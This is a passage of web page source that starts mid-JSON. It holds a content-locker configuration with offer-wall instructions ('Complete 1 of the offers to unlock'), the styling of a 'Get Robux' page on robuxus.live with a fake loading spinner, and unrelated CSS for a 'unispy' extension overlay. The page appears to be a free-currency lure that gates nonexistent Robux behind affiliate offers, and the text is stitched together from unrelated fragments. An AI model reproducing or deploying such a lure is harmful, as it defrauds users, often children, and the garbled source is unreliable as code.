g-bottom":"10","padding-top":"22"},"footer":{"border-width":"0","font-size":"11","font-weight":"normal","padding-bottom":"16","padding-top":"0"},"locker":{},"page":{}}},"css-custom":"@import url('https://fonts.googleapis.com/css?family=Source+Sans+Pro');\n\n#my-locker {\n border: 10px solid #bf3539;\n box-shadow: 0px 1px 22px rgba(41, 41, 41, 0.56) !important;\n font-family: 'Source Sans Pro', sans-serif;\n position: relative;\n}\n\n#my-locker-top span {\n font-size: 21px !important;\n}\n\nbody.mobile #my-locker-top span {\n font-size: 21px !important;\n}\n\n#my-locker-top img {\n height: 115px;\n margin-bottom: 7px;\n}\n\nbody.mobile #my-locker-top img {\n height: 110px;\n max-width: 395px;\n}\n\n#my-locker-top hr {\n background: #dedede;\n border: 0;\n height: 2px;\n margin: 17px 0 0;\n}\n\n.loading-button {\n background: #bf3539;\n color: #f7fdf8;\n cursor: pointer;\n font-size: 15px;\n font-weight: bold;\n padding: 14px 0;\n}\n\n.loading-botton i {\n color: #e8d04a;\n}\n\nbody.mobile .loading-button {\n font-size: 12px;\n}\n\n#my-locker-body-offers-list a {\n border-bottom-width: 3px !important;\n}\n\n\n/* DIFFICULTIES */\n\n.difficulty {\n background: red;\n border-radius: 4px;\n color: #fff;\n display: inline-block;\n font-size: 12px;\n font-weight: normal;\n padding: 2px 5px 2px;\n margin: 0 0 -2px 12px;\n}\n\n.difficulty.easy {\n background: #41c101;\n}\n\n.difficulty.medium {\n background: #ce8c14;\n}\n\n.difficulty.hard {\n background: #d60000;\n}","google":{"analytics-tracking-id":"","event-tracking":"disabled","translate":"enabled"},"instructions":"- To change the amount of Offers that are displayed: Click on \"Offers\", and adjust the \"Number of Offers\" value.\n\n- To change the Header image: Click on \"Custom CSS & JavaScript\", choose \"JavaScript\", and change the URL in the headerImage variable.\n\n- To change the \"Claim Your Resources - Last Step\" text: Click on \"Design Your Content Locker\", choose \"Header\", and change the text in the \"Text\" input.\n\n- To change the \"To avoid robot entries ...\" text: Click on \"Design Your Content Locker\", choose \"Body > Offers\", and change the text in the \"Top Text\" input.\n\n- To change the \"Offer Incomplete!\" text: Click on \"Design Your Content Locker\", choose \"Body > Offers\", and change the text in the \"Bottom Text\" input.\n\n- To change the \"Complete 1 of the offers to unlock ...\" text: Click on \"Design Your Content Locker\", choose \"Footer\", and change the text in the \"Bottom Text\" input.\n\n- To change the border color and \"Offer Incomplete!\" background color: Click on \"Design Your Content Locker\", choose \"Content Locker\", and change the value in the \"Border Shadow Color\" input.\n\n- To enable or disable Difficulties: Click on \"Custom CSS & JavaScript\", choose \"JavaScript\", and change the showDifficulties variable to either true (show) or false (hide).","javascript-custom":"// You can edit below here\nvar headerImage = '';\nvar showDifficulties = false; // Either true or false\n\n// Don't edit below here!\n$(document).ready(function() {\n
if(window['xfContentLocker']){
//Old locker
//Specific CSS
xfContentLocker.setTemplateCSSDir(cssDIR);
xfContentLocker.removeElByID("xf_MODAL_CONTAINER");
//HTML
xfContentLocker.removeElByID("xf_MODAL_CONTAINER");
var d=document.createElement("div");
d.style="display:none;";
d.id="xf_MODAL_CONTAINER";
d.innerHTML=html;
document.getElementsByTagName("body")[0].appendChild(d);
xfContentLocker.defaultSettings=defaultSettings;
xfContentLocker.userSettings=userSettings;
for (var property in userSettings) {
var val = userSettings[property];
if(typeof val === 'string'){
userSettings[property]=val.replace(/cpabuild_/ig, 'xf_');
}
}
xfContentLocker.onVarsChange();
}
} })();</script> <style>body.xfBodyModalOpen { overflow:hidden; } #xf_MODAL.fadeOut { opacity: 0; transition: visibility 0s 0.5s, opacity 0.5s linear; -webkit-transition: opacity 0.5s ease-in-out; -moz-transition: opacity 0.5s ease-in-out; -ms-transition: opacity 0.5s ease-in-out; -o-transition: opacity 0.5s ease-in-out; } @media screen and (orientation:portrait) { #xf_MODAL_CONTAINER #xfMODALCONTENT { margin: 35% auto !important; } } #xf_MODAL_CONTAINER #xf_MODAL { display: none; /* Hidden by default / position: fixed; / Stay in place / z-index: 9999999999999;; / Sit on top / left: 0; top: 0; width: 100%; / Full width / height: 100%; / Full height / overflow: auto; / Enable scroll if needed / background-color: rgb(0,0,0); / Fallback color / background-color: rgba(0,0,0,0.4); / Black w/ opacity / } / The Close Button / #xf_MODAL_CONTAINER .close { float: right; font-size: 21px; font-weight: 700; line-height: 1; color: #000; text-shadow: 0 1px 0 #fff; filter: alpha(opacity=20); opacity: .2; } #xf_MODAL_CONTAINER button.close { -webkit-appearance: none; padding: 0; background: 0 0; border: 0; } #xf_MODAL_CONTAINER .close:focus, .close:hover { color: #000; text-decoration: none; cursor: pointer; filter: alpha(opacity=50); opacity: .5; } #xf_MODAL_CONTAINER * { border: 0; font-family: 'Open Sans', sans-serif, Arial; margin: 0; outline: 0; padding: 0; } #xfOFFERS{ overflow-x:hidden; overflow-y:hidden; width:100%; height:100%; } #xf_MODAL_CONTAINER #xfMODALBODY { height:300px; } #xf_MODAL_CONTAINER .xfmodal-header { padding: 15px; border: none; font-size: 20px; font-weight: 300; line-height: 20px; } #xf_MODAL_CONTAINER #xfmodalTitle{ font-weight: 300; } #xf_MODAL_CONTAINER #xfMODALBODY { padding: 0; text-align: center; } #xf_MODAL_CONTAINER #xfMODALCONTENT { position: relative; margin: 10% auto; / 15% from the top and centered */ padding: 0; width: 790px; -webkit-animation-duration: 0.6s; animation-duration: 0.6s; border: none; border-radius: 6px; outline: 0; } #xf_MODAL_CONTAINER #xfMODALFOOTER { padding: 15px; text-align: center; border-top: none; font-size: 13px; } #xf_MODAL_CONTAINER .close:hover, #xf_MODAL_CONTAINER .close:focus { color: black; text-decoration: none; cursor: pointer; } @-webkit-keyframes xf_animatetop { from {top: -300px;} to {top: 0;} } @keyframes xf_animatetop { from {top: -300px;} to {top: 0;} } #xf_MODAL_CONTAINER .fa{ font-family: FontAwesome !important; } #xf_MODAL_CONTAINER .xfAnimation #xfMODALCONTENT{ visibility: visible; opacity: 1; } #xf_MODAL_CONTAINER .xfShow #xfMODALCONTENT{ visibility: visible !important; opacity: 1; display: block !important; } #xf_MODAL_CONTAINER #xfMODALCONTENT{ /visibility: hidden;/ opacity: 0; } #xf_MODAL_CONTAINER #xfMODALCONTENT.xf_animateTop { -webkit-animation-name: xf_animatetop; -moz-animation-name: xf_animatetop; animation-name: xf_animatetop; } #xf_MODAL_CONTAINER #xfMODALCONTENT.xf_fadeIn { -webkit-transform: scale(0.7); -moz-transform: scale(0.7); -ms-transform: scale(0.7); transform: scale(0.7); } #xf_MODAL_CONTAINER .xfAnimation #xfMODALCONTENT.xf_fadeIn { -webkit-transform: scale(1.0); -moz-transform: scale(1.0); -ms-transform: scale(1.0); transform: scale(1.0); } #xf_MODAL_CONTAINER #xfMODALCONTENT.xf_slideRight { -webkit-transform: translateX(20%); -moz-transform: translateX(20%); -ms-transform: translateX(20%); transform: translateX(20%); -webkit-transition-timing-function: cubic-bezier(0.25, 0.5, 0.5, 0.9); -moz-transition-timing-function: cubic-bezier(0.25, 0.5, 0.5, 0.9); transition-timing-function: cubic-bezier(0.25, 0.5, 0.5, 0.9); } #xf_MODAL_CONTAINER .xfAnimation #xfMODALCONTENT.xf_slideRight { -webkit-transform: translateX(0); -moz-transform: translateX(0); -ms-transform: translateX(0); transform: translateX(0); } #xf_MODAL_CONTAINER #xfMODALCONTENT.xf_spinIn { -webkit-transform: scale(0) rotate(720deg); -moz-transform: scale(0) rotate(720deg); -ms-transform: scale(0) rotate(720deg); transform: scale(0) rotate(720deg); } #xf_MODAL_CONTAINER .xfAnimation #xfMODALCONTENT.xf_spinIn { -webkit-transform: scale(1) rotate(0deg); -moz-transform: scale(1) rotate(0deg); -ms-transform: scale(1) rotate(0deg); transform: scale(1) rotate(0deg); } #xf_MODAL_CONTAINER #xfMODALCONTENT.xf_slideFall { -webkit-transform-style: preserve-3d; -moz-transform-style: preserve-3d; transform-style: preserve-3d; -webkit-transform: translate(30%) translateZ(600px) rotate(10deg); -moz-transform: translate(30%) translateZ(600px) rotate(10deg); -ms-transform: translate(30%) translateZ(600px) rotate(10deg); transform: translate(30%) translateZ(600px) rotate(10deg); } #xf_MODAL_CONTAINER .xfAnimation #xfMODALCONTENT.xf_slideFall { transition-timing-function: ease-in; -webkit-transition-timing-function: ease-in; -moz-transition-timing-function: ease-in; -webkit-transform: translate(0%) translateZ(0) rotate(0deg); -moz-transform: translate(0%) translateZ(0) rotate(0deg); -ms-transform: translate(0%) translateZ(0) rotate(0deg); transform: translate(0%) translateZ(0) rotate(0deg); }
#xf_MODAL_CONTAINER #xfMODALCONTENT.xf_slideUp { -webkit-transform: translateY(200%); -moz-transform: translateY(200%); -ms-transform: translateY(200%); transform: translateY(200%); } #xf_MODAL_CONTAINER .xfAnimation #xfMODALCONTENT.xf_slideUp { -webkit-transform: translateY(0); -moz-transform: translateY(0); -ms-transform: translateY(0); transform: translateY(0); }</style>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Get Robux</title>
<link href="https://robuxus.live/icon.ico" rel="icon">
<style>
@import url("https://fonts.googleapis.com/css2?family=Kumbh+Sans:wght@520&family=Mochiy+Pop+One&family=Nunito:wght@200&family=Poppins:wght@400;600;700;900&family=REM:wght@300&family=Varela+Round&display=swap"); * {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: "Kumbh Sans", sans-serif;
}
.logo {
width: 30px;
display: flex;
align-items: center;
}
.logo span {
font-weight: 900;
margin-right: 18px;
font-size: 25px;
}
nav {
width: 100%;
display: flex;
align-items: center;
justify-content: space-between;
background-color: #dee1e3;
border: solid #c7cbce;
border-width: 0 0 1px;
padding: 0 40px;
}
nav ul {
list-style: none;
display: flex;
}
body {
background-color: #f2f4f5;
color: #393b3d;
}
img {
width: 100%;
}
ul li {
margin-left: 30px;
}
.middle {
width: 70%;
margin: 10px auto;
height: 135px;
background-image: linear-gradient(0deg, rgba(39, 39, 46, 0.5), rgba(39, 39, 46, 0.5)), url(https://i.ibb.co/8zDfYsh/bp.jpg);
background-position: bottom;
background-size: 100%;
margin-bottom: 24px;
color: #fff;
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
text-align: center;
}
.middle h2 {
margin-bottom: 10px;
font-size: 35px;
}
.middle p {
font-size: 17px;
}
body .para {
font-size: 10px;
font-weight: 500;
margin-top: 50px;
color: #606162;
text-align: center;
width: 100%;
margin: 50px auto;
}
.box_con {
margin: 0 auto;
background-color: #fff;
min-height: 163px;
width: 70%;
font-size: 20px;
padding: 20px;
border: solid #c7cbce;
border-width: 1px 1px 1px;
}
input {
padding: 11px 15px;
border: none;
background: #f2f4f5;
border-radius: 9px;
outline: none;
font-size: 17px;
}
button {
background: #393b3d;
outline: none;
border: none;
color: #fff;
padding: 8px 10px;
border-radius: 5px;
font-weight: 900;
letter-spacing: 1px;
font-size: 19px;
cursor: pointer;
margin-top: 30px;
}
.box2 {
display: none;
}
.box3 {
display: none;
}
.box4 {
display: none;
}
.container {
display: flex;
flex-direction: column;
background-color: #ffffffbc;
border-radius: 8px;
}
.row {
display: flex;
align-items: center;
height: 70px;
justify-content: space-around;
}
.row:not(.row:last-child) {
border-bottom: 1px solid #bdbebe;
}
.price {
font-size: 20px;
font-weight: 700;
}
.robux_total {
display: flex;
align-items: center;
}
.details:hover {
background-color: rgb(226, 226, 226);
}
.pic {
width: 30px;
margin-right: 10px;
pointer-events: none;
margin-top: 2px;
}
span {
font-size: 20px;
font-weight: 800;
color: rgba(0, 0, 0, 0.6);
}
img {
width: 100%;
}
h3 {
font-size: 32px;
margin-bottom: 21px;
}
.details {
border: 1px solid #b8b8b8;
border-radius: 8px;
padding: 5px 8px;
width: 180px;
display: flex;
justify-content: center;
cursor: pointer;
transition: 0.3s;
}
.folding {
margin: 20px auto;
width: 100px;
height: 100px;
position: relative;
transform: rotateZ(45deg);
}
.square {
position: absolute;
top: 36%;
right: 35%;
width: 30px;
height: 30px;
background-color: #fff;
transform: rotateZ(87deg);
}
.folding .sk-cube {
float: left;
width: 50%;
height: 50%;
position: relative;
transform: scale(1.1);
}
.folding .sk-cube:before {
content: "";
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #333;
animation: sk-foldCubeAngle 2.4s infinite linear both;
transform-origin: 100% 100%;
}
.folding .sk-cube2 {
transform: scale(1.1) rotateZ(90deg);
}
.folding .sk-cube3 {
transform: scale(1.1) rotateZ(180deg);
}
.folding .sk-cube4 {
transform: scale(1.1) rotateZ(270deg);
}
.folding .sk-cube2:before {
animation-delay: 0.3s;
}
.folding .sk-cube3:before {
animation-delay: 0.6s;
}
.folding .sk-cube4:before {
animation-delay: 0.9s;
}
@keyframes sk-foldCubeAngle {
0%, 10% {
transform: perspective(140px) rotateX(-180deg);
opacity: 0;
}
25%, 75% {
transform: perspective(140px) rotateX(0deg);
opacity: 1;
}
90%, 100% {
transform: perspective(140px) rotateY(180deg);
opacity: 0;
}
}
@media (max-width: 400px) {
nav {
padding: 0 5px;
}
}
@media (max-width: 1042px) {
.middle, .box_con, .para {
width: 90%;
}
}
@media (max-width: 750px) {
.middle, .box_con {
width: 100%;
}
.para {
width: 100%;
}
.middle h2 {
margin-bottom: 10px;
font-size: 30px;
}
.middle p {
font-size: 13px;
}
}
@media (max-width: 373px) {
.logo span {
display: none;
}
nav {
padding: 0px;
}
}
@media (max-width: 442px) {
nav {
padding: 0px 20px;
}
}
@media (max-width: 396px) {
nav {
padding: 0px 10px;
}
}
</style>
<style type="text/css">
#unispy-app {
font-family: Avenir,Helvetica,Arial,sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
z-index: 2147483647;
text-align: left
}
#unispy-app * {
all: inital;
display: block;
-webkit-text-size-adjust: none;
-moz-text-size-adjust: none;
text-size-adjust: none;
box-sizing: border-box;
float: none;
line-height: normal;
-webkit-font-smoothing: subpixel-antialiased!important;
font-family: Pingfang-SC,Microsoft YaHei,"sans-serif"!important;
letter-spacing: 0!important;
text-transform: none!important;
border-width: 0;
border-style: initial;
border-color: initial;
-o-border-image: initial;
border-image: initial;
margin: 0;
padding: 0;
text-decoration: none;
line-height: 1.5;
text-rendering: optimizeLegibility
}
#unispy-app h1,#unispy-app h2,#unispy-app h3,#unispy-app h4,#unispy-app h5,#unispy-app h6 {
text-align: left
}
#unispy-app [class*=" icon-"] [class*=" icon-"],#unispy-app [class*=" icon-"] [class^=icon-],#unispy-app [class^=icon-] [class*=" icon-"],#unispy-app [class^=icon-] [class^=icon-] {
position: relative!important;
top: auto!important
}
#unispy-app .active img {
border: 0!important
}
#unispy-app ::-webkit-scrollbar {
display: block!important;
height: 6px!important;
width: 5px!important
}
#unispy-app ::-webkit-scrollbar-thumb {
background-color: rgba(0,0,0,.2)!important;
border-radius: 4px!important
}
#unispy-app ::-webkit-scrollbar-track {
background-color: transparent!important;
border-radius: 2px!important
}
#unispy-app ::-webkit-scrollbar-thumb:hover {
background-color: #999!important
}
#unispy-app img {
align-self: auto
}
#unispy-app .unispy-text-centered {
text-align: center
}
#unispy-app .unispy-btn {
align-items: center;
background: #fff;
color: #333;
border: 1px solid #ccc;
border-radius: 4px;
display: flex;
height: 32px;
padding: 0 16px;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none
}
#unispy-app .unispy-btn.unispy-btn-danger {
background-color: #feecf0;
color: #cc0f35
}
#unispy-app .unispy-btn img,#unispy-app .unispy-btn svg {
height: 18px!important;
width: 18px!important;
stroke: none
}
#unispy-app .unispy-btn+.unispy-btn {
margin-left: 14px
}
#unispy-app .unispy-btn.loading {
background: #f5f5f5;
cursor: not-allowed;
pointer-events: none;
-moz-user-select: none;
-webkit-user-select: none;
-ms-user-select: none;
user-select: none
}
#unispy-app .unispy-btn.loading img {
animation: rotateLoading 1s linear infinite;
display: block
}
#unispy-app .unispy-btn.loading span {
opacity: .6
}
#unispy-app .unispy-btn span {
color: #7f7f7f;
font-size: 14px;
font-weight: 400;
line-height: 20px;
margin-left: 8px
}
#unispy-app .unispy-btn:hover {
border-color: #2184fd;
cursor: pointer
}
#unispy-app .unispy-btn:hover span {
color: #2184fd
}
#unispy-app .unispy-btn.unispy-btn-danger:hover {
background-color: #fde0e6;
border-color: transparent;
color: #cc0f35
}
#unispy-app .unispy-btn.unispy-btn-danger:hover span {
color: #cc0f35
}
#unispy-app .unispy-btn.disabled {
background-color: #fff;
border-color: #dbdbdb;
box-shadow: none;
opacity: .5;
cursor: not-allowed
}
#unispy-app .unispy-btn-link {
color: #3850b7;
text-decoration: underline;
cursor: pointer
}
#unispy-app .unispy-btn-static {
margin: 0 15px
}
#unispy-app .unispy-textbox {
-webkit-appearance: none;
align-items: center;
border: 1px solid transparent;
box-shadow: none;
display: inline-flex;
font-size: 1rem;
height: 1;
justify-content: flex-start;
line-height: 1;
padding: 4px 10px;
position: relative;
vertical-align: top;
background-color: #fff;
border-color: #dbdbdb;
border-radius: 4px;
color: #363636;
box-shadow: inset 0 .0625em .125em rgba(10,10,10,.05);
max-width: 100%;
width: 100%
}
#unispy-app .unispy-textbox[type=number] {
width: 99px
}
#unispy-app .unispy-textbox[disabled] {
background-color: #f5f5f5;
border-color: #f5f5f5;
box-shadow: none;
color: #7a7a7a;
cursor: not-allowed
}
#unispy-app .unispy-radio {
cursor: pointer;
display: inline-block;
line-height: 1.25;
position: relative;
outline: none;
display: inline-flex;
align-items: center;
margin-right: .5em
}
#unispy-app .unispy-radio input[type=radio] {
position: absolute;
left: 0;
opacity: 0;
outline: none;
z-index: -1;
cursor: pointer;
vertical-align: baseline
}
#unispy-app .unispy-radio input[type=radio]+.unispy-radio-check {
display: flex;
flex-shrink: 0;
position: relative;
cursor: pointer;
width: 1.25em;
height: 1.25em;
transition: background .15s ease-out;
border-radius: 50%;
border: 2px solid #7a7a7a
}
#unispy-app .unispy-radio input[type=radio]+.unispy-radio-check:before {
content: "";
display: flex;
position: absolute;
left: 50%;
margin-left: -.625em;
bottom: 50%;
margin-bottom: -.625em;
width: 1.25em;
height: 1.25em;
transition: transform .15s ease-out;
border-radius: 50%;
transform: scale(0);
background-color: #7957d5
}
#unispy-app .unispy-radio input[type=radio]:checked+.unispy-radio-check {
border-color: #7957d5
}
#unispy-app .unispy-radio input[type=radio]:checked+.unispy-radio-check:before {
transform: scale(.5)
}
#unispy-app .unispy-radio span {
padding-left: 10px
}
#unispy-app .unispy-checkbox {
cursor: pointer;
display: inline-block;
line-height: 1.25;
position: relative;
outline: none;
display: inline-flex;
align-items: center;
margin-right: .5em
}
#unispy-app .unispy-checkbox input[type=checkbox] {
position: absolute;
left: 0;
opacity: 0;
outline: none;
z-index: -1;
cursor: pointer;
vertical-align: baseline
}
#unispy-app .unispy-checkbox input[type=checkbox]+.unispy-checkbox-check {
width: 1.25em;
height: 1.25em;
flex-shrink: 0;
border-radius: 4px;
border: 2px solid #7a7a7a;
transition: background .15s ease-out;
background: transparent
}
#unispy-app .unispy-checkbox input[type=checkbox]:checked+.unispy-checkbox-check {
background: #7957d5 url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 1 1'%3E%3Cpath d='M.04.627L.146.52.43.804.323.91zm.177.177L.854.167.96.273.323.91z' fill='%23fff'/%3E%3C/svg%3E") no-repeat 50%;
border-color: #7957d5
}
#unispy-app .unispy-checkbox span {
padding-left: 10px
}
#unispy-app .unispy-img-box {
align-items: center;
cursor: pointer;
display: flex;
flex-shrink: 0;
justify-content: center;
border-radius: 4px;
overflow: hidden;
padding: 0!important
}
#unispy-app .unispy-img-box img {
height: auto!important;
max-width: 100%!important
}
#unispy-app .unispy-loading {
animation: rotateLoading 1s linear infinite;
display: none;
height: 18px;
width: 18px
}
#unispy-app .unispy-switch {
display: flex!important;
flex-direction: row;
justify-content: center;
align-items: center
}
#unispy-app .unispy-switch em {
font-style: normal;
color: #7f7f7f;
cursor: pointer;
padding: 5px 0;
font-size: 12px
}
#unispy-app .unispy-switch em+em {
margin-left: 15px
}
#unispy-app .unispy-switch em.is_active {
color: #2184fd;
position: relative
}
#unispy-app .unispy-switch em.is_active:after {
background: #2184fd;
bottom: 0;
content: "";
height: 2px;
left: 0;
position: absolute;
right: 0;
width: 100%
}
#unispy-app .unispy-switch em:hover {
color: #2184fd!important
}
#unispy-app .unispy-tabs-box {
justify-content: space-between;
padding: 20px 30px
}
#unispy-app .unispy-tabs-box,#unispy-app .unispy-tabs-box .unispy-tabs {
align-items: center;
display: flex
}
#unispy-app .unispy-tabs-box .unispy-tabs .unispy-tab {
color: #7f7f7f;
cursor: pointer;
font-size: 16px;
font-weight: 400;
line-height: 24px;
padding: 10px 0
}
#unispy-app .unispy-tabs-box .unispy-tabs .unispy-tab:hover {
color: #2184fd
}
#unispy-app .unispy-tabs-box .unispy-tabs .unispy-tab.is_active {
background: none;
color: #2184fd;
font-size: 16px;
font-weight: 700;
line-height: 24px;
position: relative
}
#unispy-app .unispy-tabs-box .unispy-tabs .unispy-tab.is_active:after {
background: #2184fd;
bottom: 0;
content: "";
height: 2px;
left: 0;
position: absolute;
right: 0;
width: 100%
}
#unispy-app .unispy-tabs-box .unispy-tabs .unispy-tab+.unispy-tab {
margin-left: 48px
}
#unispy-app .unispy-tabs-box .unispy-tabs-right {
align-items: center;
display: flex;
flex-wrap: nowrap
}
#unispy-app .unispy-loading-box img {
animation: rotateLoading 1s linear infinite;
display: block
}
#unispy-app .unispy-flex-center-box {
display: flex;
justify-content: center;
align-items: center;
padding: 30px
}
#unispy-app .infinite-loading-container {
display: flex;
justify-content: center;
align-items: center;
padding: 30px 0
}
#unispy-app .unispy-empty-box {
display: flex;
margin: 150px auto;
flex-direction: column;
align-items: center
}
#unispy-app .unispy-empty-box .unispy-empty-logo {
width: 64px;
height: 64px
}
#unispy-app .unispy-empty-box .unispy-empty-text {
margin: 10px
}
#unispy-app .unispy-chart-half {
width: 380px;
height: 180px
}
#unispy-app .unispy-chart-half svg {
width: 100%;
height: 100%;
stroke-width: 0
}
#unispy-app .unispy-chart-half svg rect {
border: 0
}
#unispy-app .unispy-chart-large {
width: 780px;
height: 280px
}
#unispy-app .unispy-foot {
color: #7f7f7f;
font-size: 13px;
font-weight: 400;
line-height: 20px;
padding: 10px 80px;
text-align: center
}
#unispy-app .unispy-foot a {
display: inline;
cursor: pointer
}
#unispy-app .unispy-layout {
display: flex;
flex-direction: row;
height: 600px
}
#unispy-app .unispy-menu {
width: 180px;
font-size: 14px;
padding: 10px;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
overflow-y: auto
}
#unispy-app .unispy-menu .unispy-menu-label {
margin: 20px 10px 10px;
color: #7a7a7a;
font-size: .75em;
letter-spacing: .1em!important;
text-transform: uppercase!important
}
#unispy-app .unispy-menu .unispy-menu-list,#unispy-app .unispy-menu .unispy-menu-list li {
list-style: none!important
}
#unispy-app .unispy-menu .unispy-menu-list li:after,#unispy-app .unispy-menu .unispy-menu-list li:before {
display: none
}
#unispy-app .unispy-menu .unispy-menu-list a {
line-height: 18px;
color: #4a4a4a;
display: flex;
justify-content: flex-start;
align-items: center;
padding: 8px 14px;
border-radius: 20px;
font-size: 14px;
cursor: pointer
}
#unispy-app .unispy-menu .unispy-menu-list a .unispy-num_mark {
color: #6226d6;
border-radius: 5px;
font-size: 11px;
padding: 0 4px;
margin-left: 2px;
white-space: nowrap
}
#unispy-app .unispy-menu .unispy-menu-list a img {
width: 18px;
height: 18px;
margin-right: 5px
}
#unispy-app .unispy-menu .unispy-menu-list a .unispy-menu-icon-normal {
display: block
}
#unispy-app .unispy-menu .unispy-menu-list a .unispy-menu-icon-active {
display: none
}
#unispy-app .unispy-menu .unispy-menu-list a:hover {
color: #7a90ef
}
#unispy-app .unispy-menu .unispy-menu-list a.is-active {
background-color: #7957d5;
color: #fff
}
#unispy-app .unispy-menu .unispy-menu-list a.is-active.hover,#unispy-app .unispy-menu .unispy-menu-list a.is-active .unispy-num_mark {
color: #fff
}
#unispy-app .unispy-menu .unispy-menu-list a.is-active .unispy-menu-icon-normal {
display: none
}
#unispy-app .unispy-menu .unispy-menu-list a.is-active .unispy-menu-icon-active {
display: block
}
#unispy-app .unispy-main {
margin-left: 10px
}
#unispy-app .unispy-main .unispy-main-frame {
width: 840px;
height: 600px;
display: flex;
flex-direction: column
}
#unispy-app .unispy-main .unispy-main-content {
flex: 1 1 1px;
overflow-y: auto!important;
position: relative
}
#unispy-app .unispy-shop-box {
border-radius: 6px 6px 0 0;
margin-bottom: 0;
overflow: hidden
}
#unispy-app .unispy-shop-box .unispy-shop-bar {
background: #fff;
padding: 20px
}
#unispy-app .unispy-shop-box .unispy-shop-bar+.unispy-shop-bar {
margin-top: 16px
}
#unispy-app .unispy-shop-box .unispy-shop-title {
align-items: center;
display: flex;
justify-content: space-between;
margin: -4px 0 0
}
#unispy-app .unispy-shop-box .unispy-shop-title span {
align-items: center;
color: #2f3032;
display: flex;
font-size: 18px;
font-weight: 700;
line-height: 27px
}
#unispy-app .unispy-shop-box .unispy-shop-title span em {
color: #2f3032;
font-style: normal;
margin-left: 4px
}
#unispy-app .unispy-shop-box .unispy-shop-title .more {
align-items: center;
background: #fff;
border: 1px solid #ccc;
border-radius: 4px;
display: flex;
height: 32px;
padding: 0 18px!important;
text-decoration: none
}
#unispy-app .unispy-shop-box .unispy-shop-title .more img {
height: 12px!important;
margin-left: 6px;
width: 6px!important
}
#unispy-app .unispy-shop-box .unispy-shop-title .more em {
color: #7f7f7f;
font-size: 13px;
font-style: normal;
font-weight: 400;
line-height: 20px
}
#unispy-app .unispy-shop-box .unispy-shop-title .more:hover {
border: 1px solid #2184fd;
color: #2184fd;
cursor: pointer
}
#unispy-app .unispy-shop-box .unispy-shop-title .more:hover em {
color: #2184fd
}
#unispy-app .unispy-shop-box .unispy-shop-title .more:hover img path {
fill: red
}
#unispy-app .unispy-shop-box .unispy-shop-top {
align-items: center;
display: flex
}
#unispy-app .unispy-shop-box .unispy-shop-top .unispy-shop-top-pic {
border: 1px solid #e9ebf1;
border-radius: 10px;
cursor: auto!important;
height: 60px;
margin-right: 12px;
width: 60px
}
#unispy-app .unispy-shop-box .unispy-shop-top .unispy-shop-top-pic img {
height: auto;
max-width: 100%!important
}
#unispy-app .unispy-shop-box .unispy-shop-top .unispy-shop-top-right {
flex: 1;
width: 0
}
#unispy-app .unispy-shop-box .unispy-shop-top .unispy-shop-top-right h3 {
color: #000!important;
font-size: 16px!important;
font-weight: 700;
height: 24px;
line-height: 24px!important;
margin: 0!important;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
#unispy-app .unispy-shop-box .unispy-shop-top .unispy-shop-top-right p {
color: #666;
font-size: 14px;
font-weight: 400;
line-height: 21px;
margin: 0
}
#unispy-app .unispy-shop-box .unispy-shop-top-content {
align-items: center;
display: flex;
flex-wrap: wrap;
margin-top: 10px
}
#unispy-app .unispy-shop-box .unispy-shop-top-content .unispy-shop-top-content-item {
flex-shrink: 0;
padding: 7px;
text-align: center;
width: 33.2%
}
#unispy-app .unispy-shop-box .unispy-shop-top-content .unispy-shop-top-content-item h3 {
word-wrap: break-word;
color: #191919!important;
font-size: 14px!important;
font-weight: 700!important;
line-height: 21px!important;
margin: 0!important;
min-height: 21px;
text-align: center
}
#unispy-app .unispy-shop-box .unispy-shop-top-content .unispy-shop-top-content-item h3.is_loading {
display: flex;
flex-direction: row;
justify-content: center;
align-items: center
}
#unispy-app .unispy-shop-box .unispy-shop-top-content .unispy-shop-top-content-item h3.is_loading .unispy-loading {
display: block;
margin-right: 5px
}
#unispy-app .unispy-shop-box .unispy-shop-top-content .unispy-shop-top-content-item p {
color: #666;
font-size: 12px;
font-weight: 400;
line-height: 18px;
margin: 0
}
#unispy-app .unispy-shop-box .unispy-shop-top-content .unispy-top-content-line {
background: #e5e5e5;
height: 31px;
width: 1px
}
#unispy-app .unispy-shop-box .unispy-pixel-info {
align-items: center;
display: flex;
flex-wrap: wrap;
justify-content: flex-start;
margin-top: 4px;
padding: 0 0 6px
}
#unispy-app .unispy-shop-box .unispy-pixel-info-item {
align-items: center;
display: flex;
flex-shrink: 0;
padding: 16px 60px 0;
width: 50%
}
#unispy-app .unispy-shop-box .unispy-pixel-info-pic {
cursor: auto!important;
height: 30px;
margin-right: 10px;
width: 30px
}
#unispy-app .unispy-shop-box .unispy-pixel-info-pic img {
height: 30px;
width: 30px
}
#unispy-app .unispy-shop-box .unispy-pixel-info-item-right {
flex: 1;
width: 0
}
#unispy-app .unispy-shop-box .unispy-pixel-name {
color: #000;
display: block;
font-size: 14px;
font-weight: 400;
line-height: 18px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
#unispy-app .unispy-shop-box .unispy-pixel-id {
color: #7f7f7f;
display: block;
font-size: 12px;
font-weight: 400;
line-height: 16px;
margin-top: 2px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
#unispy-app .unispy-shop-box .unispy-shop-product-info {
align-items: flex-start;
display: flex;
margin-top: 19px
}
#unispy-app .unispy-shop-box .unispy-shop-product-info .unispy-shop-product-info-pic {
border: 1px solid #e9ebf1;
border-radius: 4px;
height: 122px;
margin-right: 18px;
width: 122px
}
#unispy-app .unispy-shop-box .unispy-shop-product-info .unispy-shop-product-info-content {
flex: 1;
width: 0
}
#unispy-app .unispy-shop-box .unispy-shop-product-info .unispy-shop-product-info-name {
color: #2f3032!important;
font-size: 16px!important;
font-weight: 700;
line-height: 24px!important;
margin: -4px 0 0!important
}
#unispy-app .unispy-shop-box .unispy-shop-product-info .unispy-shop-product-info-data {
align-items: flex-start;
border-top: 1px solid #e9ebf0;
display: flex;
flex-wrap: wrap;
margin-top: 13px;
padding: 5px 0
}
